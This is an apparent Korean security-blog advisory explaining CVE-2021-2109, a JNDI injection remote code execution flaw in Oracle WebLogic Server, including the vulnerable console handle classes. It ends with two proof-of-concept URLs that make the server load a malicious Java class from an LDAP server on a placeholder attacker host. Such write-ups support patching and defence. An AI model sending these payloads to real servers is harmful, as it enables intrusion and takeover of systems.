[하루한줄] CVE-2021-2109 : 오라클 Weblogic Server 원격 코드 실행 취약점
URL
Weblogic Server remote code execution vulnerability warning (CVE-2021-2109)
Target
Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 및 14.1.1.0.0
Explain
오라클이 개발한 자바 웹 애플리케이션 서버인 Oracle WebLogic Server에서 JNDI Injection을 통한 원격 코드 실행 취약점의 세부 정보가 공개되었습니다.
JNDI(Java Naming and Directory Interface) : 자바 애플리케이션에서 외부 디렉터리 서비스에 접근하기 위한 API로, 원격 서버의 객체를 bind 해 애플리케이션에서 접근할 수 있다.
해당 취약점은 두 클래스에서 발생하며 취약점이 발생하는 첫 번째 클래스인 com.bea.console.handles.JndiBindingHandle
에서는 바인딩할 JNDI의 context
, bindName
, serverName
정보를 파라미터로 받아 이를 인스턴스화 하고 JNDIBindingAction
에서 처리합니다. 각 파라미터의 의미와 공격 조건은 다음과 같습니다.
context
: 원격 바인딩할 JNDI 서버 호스트- JNDI 서버로 구성한 해커의 호스트
bindName
: 바인딩할 JNDI 클래스 이름- 악성 코드를 실행하는 java 클래스 파일 이름
serverName
: 바인딩할 서버 이름AdminServer
각 필드는 세미콜론
;
으로 구분됩니다.
해커의 서버 포트 1088에 악성 코드를 실행하는 java 클래스 파일 exploit
이 존재한다면 PoC는 아래와 같습니다.
http://[victim_host]/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://[attacker_host];1:1088/exploit;AdminServer")
두 번째 com.bea.console.handles.JndiContextHandle
클래스에서는 bindName
이 포함된 context
와 serverName
만을 받아 위와 동일한 환경에서 다음 PoC로 원격 코드 실행이 가능합니다.
http://[victim_host]/console/console.portal?_nfpb=true&_pageLabel=EJBTestHomePage&EJBTestHomePagehandle=com.bea.console.handles.JndiContextHandle("ldap://[attacker_host]:1088/exploit;AdminServer")
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.